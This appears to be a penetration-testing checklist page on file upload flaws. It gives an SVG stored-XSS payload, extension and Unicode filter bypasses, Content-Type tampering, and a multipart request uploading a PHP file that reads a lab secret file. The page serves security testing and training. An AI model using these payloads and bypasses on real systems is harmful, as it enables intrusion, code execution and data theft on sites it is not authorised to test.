Upload of Unexpected File Types
Check List
Methodology
Black Box
Stored Cross-Site Scripting (Stored XSS) via SVG Upload
Login to Account
Access your account with valid credentials
Open Your Project
Navigate to the specific project you want to test
Go to the locate the avatar upload form
Attach PNG File with SVG Code and Upload a PNG file containing the SVG code
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> </svg>Click forward the request and after creating the image, open it and Check if an alert dialog appears; if not, click the triangle again to confirm
File Extension Filter Bypass
Check what are file extensions allowed in the web app. This depends on the type of backend server
.php ,.html, .jsp, .svg, .asp, .aspx ,pHp, pHP5, PhAr, hTmL, etc ,.pht ,.phps ,.phar ,.phpt ,.pgif ,.phtml ,.phtm ,.inc
Multibyte Unicode Filename Normalization Bypass
Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path
File Upload Manipulation
Try changing Content-Type
When uploading, Content Type could be: Content-Type: application/octet-stream or Content-Type: application/x-php try replacing it withimage/jpeg/,image/jpg, image.png, image/gif
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>White Box
Cheat Sheet
Last updated
